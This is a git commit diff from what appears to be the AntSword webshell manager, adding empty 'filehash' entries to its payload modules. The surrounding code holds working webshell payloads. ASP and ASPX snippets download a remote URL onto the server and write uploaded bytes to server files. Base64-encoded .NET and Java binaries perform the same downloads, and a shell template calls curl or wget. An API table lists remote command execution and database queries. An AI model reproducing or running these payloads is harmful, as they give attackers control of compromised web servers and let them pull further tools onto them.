Commit dafb7a30 authored by Medicean's avatar Medicean Committed by Medicean

(Enhance: Modules/Filemanager) 新增 FileHash 支持(php/pswindows)

parent f4de3b85
......@@ -63,5 +63,10 @@ module.exports = (arg1, arg2, arg3) => ({
_: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
[arg1]: "#{hex::url}",
[arg2]: "#{hex::path}"
}
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
[arg1]: '#{hex::path}',
},
})
\ No newline at end of file
......@@ -37,14 +37,14 @@ module.exports = (arg1, arg2, arg3) => ({
upload_file: {
_:
// `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var
// Z:String=Request.Item["${arg2}"].substr(#randomPrefix#);var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append
// `var
// P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.C
// onvert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var
// Z:String=Request.Item["${arg2}"].substr(#randomPrefix#);var B:byte[]=new byte[Z.Length/2];for(var
// i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var
// fs:System.IO.FileStream=new
// System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Cl
// ose();Response.Write("1");`, 修改写入模式Create->Append
`var P:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var Z:String=Request.Item["${arg2}"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}"
......@@ -71,5 +71,10 @@ module.exports = (arg1, arg2, arg3) => ({
_: `var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"].substr(#randomPrefix#))),2);S.close;S=null;X=null;Response.Write("1");`,
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
}
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
\ No newline at end of file
......@@ -67,5 +67,10 @@ module.exports = (arg1, arg2, arg3) => ({
_: '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eXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQATmFtZVZhbHVlQ29sbGVjdGlvbgBnZXRfRm9ybQBnZXRfSXRlbQBTdHJpbmcAQ29uY2F0AEV4Y2VwdGlvbgBnZXRfTWVzc2FnZQBXcml0ZQBUeXBlAEdldFR5cGUAZ2V0X0lzQXJyYXkASHR0cENvbnRleHQAZ2V0X1Jlc3BvbnNlAGdldF9SZXF1ZXN0AGdldF9DdXJyZW50AHVybABwYXRoAFVyaQBTeXN0ZW0uTmV0AFdlYlJlcXVlc3QAQ3JlYXRlAEh0dHBXZWJSZXF1ZXN0AHNldF9NZXRob2QAc2V0X0NvbnRlbnRUeXBlAFdlYlJlc3BvbnNlAEdldFJlc3BvbnNlAEh0dHBXZWJSZXNwb25zZQBTeXN0ZW0uSU8AU3RyZWFtAEdldFJlc3BvbnNlU3RyZWFtAEZpbGVTdHJlYW0ARmlsZU1vZGUARmlsZUFjY2VzcwBCeXRlAFJlYWQAQ2xvc2UAaGV4AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAU3Vic3RyaW5nAEludDMyAFN5c3RlbS5HbG9iYWxpemF0aW9uAE51bWJlclN0eWxlcwBQYXJzZQBDb252ZXJ0AFRvQ2hhcgBUb1N0cmluZwBBcHBlbmQAZ2V0X0xlbmd0aABzcmMAb3BfRXF1YWxpdHkARW5jb2RpbmcAR2V0RW5jb2RpbmcARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAR2V0Qnl0ZXMAVG9CYXNlNjRTdHJpbmcAAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+AHwAAQd8ADwALQABB3UAcgBsAAAJcABhAHQAaAAAE0UAUgBSAE8AUgA6AC8ALwAgAAAHRwBFAFQAAENhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AC0AdwB3AHcALQBmAG8AcgBtAC0AdQByAGwAZQBuAGMAbwBkAGUAZAABAzEAAAdoAGUAeAAAANjqIeZ7cGNNmpqt6fHDLF4ACLd6XFYZNOCJCLA/X38R1Qo6AwYSCQMGEg0CBg4EIAECHAQgAQEcBSACDg4OBCABDg4DIAABBCABAQgEIAEBDgQgABIZBQACDg4OAyAADgYAAw4ODg4JBwYODg4ODhIhBCAA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',
'url': '#{newbase64::url}',
'path': '#{newbase64::path}'
}
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
\ No newline at end of file
......@@ -77,5 +77,9 @@ module.exports = (arg1, arg2, arg3) => ({
fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
`.replace(/\n\s+/g, '')
}
},
filehash: {
_: ``.replace(/\n\s+/g, ''),
},
})
\ No newline at end of file
# AntSword Custom API
## Base
Code | Function | Param
:-:|:--|:--
A | `info` | `{}`
Z | `probedb`| `{}`
## FileManager
Code | Function | Param
:-:|:--|:--
B | `dir` | `{"z1": "path"}`
C | `read_file`| `{"z1": "path"}`
D | `creat_file` | `{"z1": "path", "z2": "content"}`
E | `delete` | `{"z1": "path"}`
F | `download_file` | `{"z1": "path"}`
H | `copy` | `{"z1": "path", "z2": "target"}`
I | `rename` | `{"z1": "path", "z2": "name"}`
K | `retime` | `{"z1": "path", "z2": "time"}`
J | `mkdir` | `{"z1": "path"}`
L | `wget`| `{"z1": "url", "z2": "path"}`
U | `upload_file` | `{"z1": "path", "z2": "buffer::content"}`
G | `filehash` | `{"z1": "path"}`
## Command
Code | Function | Param
:-:|:--|:--
M | `exec` | `{"z1": "bin", "z2": "cmd", "z3": "env"}`
Y | `listcmd` | `{"z1": "binarr"}`
# Database
Code | Function | Param
:-:|:--|:--
N | `show_databases` | `{"z0": "encode", "z1": "conn"}`
O | `show_tables` | `{"z0": "encode", "z1": "conn", "z2": "db"}`
P | `show_columns` | `{"z0": "encode", "z1": "conn", "z2": "db", "z3": "table"}`
Q | `query` | `{"z0": "encode", "z1": "conn", "z2": "sql"}`
\ No newline at end of file
......@@ -62,5 +62,9 @@ module.exports = () => ({
_: 'L',
'z1': '#{url}',
'z2': '#{path}'
}
},
filehash: {
_: 'G',
'z1': '#{path}',
},
})
\ No newline at end of file
......@@ -68,5 +68,10 @@ module.exports = (arg1, arg2, arg3) => ({
_: 'yv66vgAAADEBFwoAQwB8CQBgAH0JAGAAfggAfwkAYACACACBCQBgAIIIAIMJAGAAhAoAYACFBwCGCgALAHwIAIcIAIgIAIkIAIoIAIsIAIwLAD0AjQsAPACOCwA9AI4LADwAjwoAYACQCQBgAJEKAGAAkgoACwCTBwCUBwCVCgAcAHwIAJYKABwAlwoAGwCYCgAcAJgLAD0AmQoACwCYCgBgAJoKAJsAnAoAnQCeCgApAJ8KACkAoAcAoQoAYACiCgApAKMHAKQKACwApQcApgoALgClCgAsAKcHAKgKADEAqQoAqgCrCgAuAKwKAC4ArQoAqgCtCgAxAK4IAK8KAEMAsAoAQQCxBwCyBwCzBwC0CAC1CgBBALYIALcHALgKAEEAuQcAugoAuwC8CAC9CABhCgBBAL4KAL8AwAoAvwDBCABjBwDCCADDBwDECQCdAMUKALsAwAoAQQDGCgCdAMcKAEEAyAoAyQDKCgBDAJgIAMsKAMwAzQgAzgoAKQDPCADQCADRCgBBANIIAHAIANMIANQKAEEA1QcA1gEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEABmRlY29kZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEACFdnZXRDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhwYXJzZU9iagEAFShMamF2YS9sYW5nL09iamVjdDspVgEACGFzb3V0cHV0AQASQmFzZTY0RGVjb2RlVG9CeXRlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAClNvdXJjZUZpbGUBAAlXZ2V0LmphdmEMAGoAawwAYQBiDABjAGQBAAZiYXNlNjQMAGUAZgEAD2FudHN3b3JkQ2hhcnNldAwAZwBmAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAGgAZgwAdQB2AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+fAEAA3w8LQEADmFudHN3b3JkYXJndXJsAQAPYW50c3dvcmRhcmdwYXRoAQASYW50c3dvcmRhcmdkZWNvZGVyAQAJdGV4dC9odG1sDADXANgMANkA2AwA2gBxDABwAHEMAGkAZgwAcwB0DADbANwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMANsA3QwA3gDfDADgAOEMAHcAcQcA4gwA4wDYBwDkDADlAOYMAOcA6AwAbgBvAQAQamF2YS9sYW5nL1N0cmluZwwAeAB5DABqAOkBAAxqYXZhL25ldC9VUkwMAGoA2AEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwA6gDrAQAaamF2YS9uZXQvSHR0cFVSTENvbm5lY3Rpb24MAOwA7QcA7gwA7wDwDADxAPIMAPMAawwA9ABrAQABMQwA9QD2DAD3APgBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAdamF2YXguc2VydmxldC5qc3AuUGFnZUNvbnRleHQMAPkA+gEACmdldFJlcXVlc3QBAA9qYXZhL2xhbmcvQ2xhc3MMAPsA/AEAEGphdmEvbGFuZy9PYmplY3QHAP0MAP4A/wEAC2dldFJlc3BvbnNlDAEAAQEHAQIMAQMBBAwBBQEGAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBAAJbQgwBBwEIDAEJAQoMAQsBDAwBDQEOBwEPDAEQAREBAAxqYXZhLnZlcnNpb24HARIMARMAcQEAAzEuOQwBFADmAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMARUA/AEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIMARABFgEAEGZpbGVtYW5hZ2VyL1dnZXQBAA5zZXRDb250ZW50VHlwZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5vcGVuQ29ubmVjdGlvbgEAGigpTGphdmEvbmV0L1VSTENvbm5lY3Rpb247AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAVjbG9zZQEACmRpc2Nvbm5lY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdpc0FycmF5AQADKClaAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAlnZXRNZXRob2QBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwAhAGAAQwAAAAYAAQBhAGIAAAABAGMAZAAAAAEAZQBmAAAAAQBnAGYAAAABAGgAZgAAAAEAaQBmAAAABwABAGoAawABAGwAAABNAAIAAQAAACEqtwABKgG1AAIqAbUAAyoSBLUABSoSBrUAByoSCLUACbEAAAABAG0AAAAaAAYAAAALAAQADAAJAA0ADgAOABQADwAaABAAAQBuAG8AAQBsAAABUQAEAAoAAADZKiu2AAq7AAtZtwAMTRINThIOOgQSDzoFEhA6BhIROgcqtAADEhK5ABMCACq0AAIqtAAHuQAUAgAqtAADKrQAB7kAFQIAKiq0AAIZBbkAFgIAtgAXOggqKrQAAhkGuQAWAgC2ABc6CSoqKrQAAhkHuQAWAgC2ABe1ABgsKhkIGQm2ABm2ABpXpwAhOggsuwAcWbcAHRIetgAfGQi2ACC2AB+2ACG2ABpXKrQAA7kAIgEAuwAcWbcAHS22AB8qLLYAI7YAJLYAHxkEtgAftgAhtgAlpwAFOggErAACACAAhwCKABsAqADSANUAGwABAG0AAABWABUAAAAVAAUAFgANABcAEAAYABQAGQAYABoAHAAbACAAHgArAB8AOAAgAEUAIQBWACIAZwAjAHoAJACHACcAigAlAIwAJgCoACkA0gArANUAKgDXACwAAABwAHEAAgBsAAAAdQAEAAQAAAA1Az0qtAAJuAAmPSsctgAnTKcABk4DPSq0AAUSBLYAKJkAFLsAKVkqK7YAKiq0AAe3ACuwK7AAAQACABAAEwAbAAEAbQAAACYACQAAADAAAgAyAAoAMwAQADYAEwA0ABQANQAWADcAIgA4ADMAOgByAAAABAABABsAAABzAHQAAgBsAAAAogAEAAkAAABauwAsWSu3AC1OAzYEuwAuWSy3AC86BS22ADDAADE6BhkGtgAyOgcRAgC8CDoIGQcZCLYAM1k2BAKfABAZBRkIAxUEtgA0p//oGQW2ADUZB7YANhkGtgA3EjiwAAAAAQBtAAAANgANAA